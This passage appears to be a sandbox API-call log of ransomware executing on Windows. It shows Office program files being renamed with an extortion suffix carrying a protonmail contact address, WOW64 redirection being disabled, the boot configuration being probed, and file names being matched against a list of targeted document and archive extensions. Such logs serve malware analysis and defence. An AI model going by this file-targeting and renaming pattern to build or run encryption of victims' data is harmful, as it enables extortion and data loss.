| out: lpNewFilePointer=0x0) returned 1 [0283.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\JOURNAL\\JOURNAL.ELM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\journal\\journal.elm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.287] CloseHandle (hObject=0x115c) returned 1 [0283.288] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.288] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LAYERS\\LAYERS.ELM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\layers\\layers.elm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.288] CloseHandle (hObject=0x115c) returned 1 [0283.289] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.289] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LEVEL\\LEVEL.ELM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\level\\level.elm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.289] CloseHandle (hObject=0x115c) returned 1 [0283.290] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.290] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\NETWORK\\NETWORK.ELM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\network\\network.elm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.290] CloseHandle (hObject=0x115c) returned 1 [0283.291] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.291] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PAPYRUS\\PAPYRUS.ELM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\papyrus\\papyrus.elm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.292] CloseHandle (hObject=0x115c) returned 1 [0283.293] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.293] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PIXEL\\PIXEL.ELM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\pixel\\pixel.elm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.293] CloseHandle (hObject=0x115c) returned 1 [0283.295] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.295] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PROFILE\\PROFILE.ELM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\profile\\profile.elm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.295] CloseHandle (hObject=0x115c) returned 1 [0283.296] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.296] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\QUAD\\QUAD.ELM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\quad\\quad.elm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.296] CloseHandle (hObject=0x115c) returned 1 [0283.951] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\CMigrate.exe" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\cmigrate.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\CMigrate.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\cmigrate.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0283.953] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\Csi.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\csi.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\Csi.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\csi.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0283.953] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\cultures\\office.odf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\cultures\\office.odf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0283.954] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\mfc140u.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\mfc140u.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\mfc140u.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\mfc140u.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0283.955] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\MSO.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\mso.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\MSO.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\mso.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0283.956] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\Mso20win32client.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\mso20win32client.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\Mso20win32client.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\mso20win32client.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0283.956] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\Mso30win32client.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\mso30win32client.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\Mso30win32client.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\mso30win32client.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0283.957] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\MSO40UIRES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\mso40uires.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\MSO40UIRES.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\mso40uires.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0283.957] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\Mso40UIwin32client.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\mso40uiwin32client.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\Mso40UIwin32client.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\mso40uiwin32client.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0283.958] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\MSO99LRES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\mso99lres.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\MSO99LRES.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\mso99lres.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0283.959] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\Mso99Lwin32client.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\mso99lwin32client.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\Mso99Lwin32client.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\mso99lwin32client.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0283.959] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\MSORES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\msores.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\MSORES.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\msores.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0283.965] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.965] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA6\\VBE6EXT.OLB.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\vba\\vba6\\vbe6ext.olb.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.965] CloseHandle (hObject=0x11a8) returned 1 [0283.966] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\FPSRVUTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\web server extensions\\16\\bin\\fpsrvutl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\FPSRVUTL.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\web server extensions\\16\\bin\\fpsrvutl.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0283.973] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\msmdlocal.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\msmdlocal.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\msmdlocal.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\msmdlocal.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0283.973] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\msmgdsrv.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\msmgdsrv.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\msmgdsrv.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\msmgdsrv.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0283.974] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\msolap110.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\msolap110.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\msolap110.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\msolap110.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0283.975] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.975] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msmdsrv.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\resources\\1033\\msmdsrv.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.976] CloseHandle (hObject=0x11a8) returned 1 [0283.977] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.977] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msmdsrvi.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\resources\\1033\\msmdsrvi.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.977] CloseHandle (hObject=0x11a8) returned 1 [0283.978] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.978] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msolui110.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\resources\\1033\\msolui110.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.978] CloseHandle (hObject=0x11a8) returned 1 [0283.979] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\xmsrv.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\xmsrv.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\xmsrv.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\xmsrv.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0285.584] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7068c8 | out: hHeap=0x630000) returned 1 [0285.584] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6cdde0 | out: hHeap=0x630000) returned 1 [0285.584] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x32a3a38 | out: hHeap=0x630000) returned 1 [0285.586] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3e90048 | out: hHeap=0x630000) returned 1 [0285.586] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4097020 | out: hHeap=0x630000) returned 1 [0285.589] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7068b0 | out: hHeap=0x630000) returned 1 [0285.589] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x32b9e68 [0285.589] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x32b9e68, Size=0x20) returned 0x3f64848 [0285.589] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x32b9d00 [0285.589] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x32b9d00, Size=0x20) returned 0x3f64870 [0285.589] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75420000 [0285.590] GetProcAddress (hModule=0x75420000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75436b30 [0285.590] Wow64DisableWow64FsRedirection (in: OldValue=0x38aff50 | out: OldValue=0x38aff50*=0x1) returned 1 [0285.590] lstrlenW (lpString="kernel32.dll") returned 12 [0285.590] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f64870 | out: hHeap=0x630000) returned 1 [0285.590] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0285.590] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f64848 | out: hHeap=0x630000) returned 1 Thread: id = 2574 os_tid = 0x26e4 [0241.660] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10000) returned 0x3ea0050 [0241.661] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10000) returned 0x3eb0058 [0241.661] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x7068e0 [0241.661] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6) returned 0x6cddf0 [0241.661] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x7068f8 [0241.661] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x100000) returned 0x41ac020 [0241.665] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x706910 [0241.665] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x706910, Size=0x20) returned 0x6e4018 [0241.665] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x706aa8 [0241.665] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x706aa8, Size=0x20) returned 0x6e3de8 [0241.665] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75420000 [0241.665] GetProcAddress (hModule=0x75420000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75436b30 [0241.665] Wow64DisableWow64FsRedirection (in: OldValue=0x39eff50 | out: OldValue=0x39eff50*=0x0) returned 1 [0241.665] lstrlenW (lpString="kernel32.dll") returned 12 [0241.665] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e4018 | out: hHeap=0x630000) returned 1 [0241.665] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0241.665] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e3de8 | out: hHeap=0x630000) returned 1 [0241.666] Sleep (dwMilliseconds=0x64) [0242.052] Sleep (dwMilliseconds=0x64) [0242.261] Sleep (dwMilliseconds=0x64) [0242.571] Sleep (dwMilliseconds=0x64) [0242.840] lstrlenW (lpString="BCD") returned 3 [0242.840] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.841] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0242.841] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0242.841] lstrlenW (lpString=".doc") returned 4 [0242.841] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0242.841] lstrlenW (lpString=".docx") returned 5 [0242.841] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0242.841] lstrlenW (lpString=".pdf") returned 4 [0242.841] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0242.841] lstrlenW (lpString=".xls") returned 4 [0242.841] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0242.841] lstrlenW (lpString=".xlsx") returned 5 [0242.841] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0242.841] lstrlenW (lpString=".ppt") returned 4 [0242.841] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0242.841] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0242.841] lstrlenW (lpString=".zip") returned 4 [0242.841] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0242.841] lstrlenW (lpString=".rar") returned 4 [0242.841] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0242.841] lstrlenW (lpString=".bz2") returned 4 [0242.841] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0242.841] lstrlenW (lpString=".7z") returned 3 [0242.841] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0242.841] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0242.841] lstrlenW (lpString=".dbf") returned 4 [0242.841] lstrcmpiW 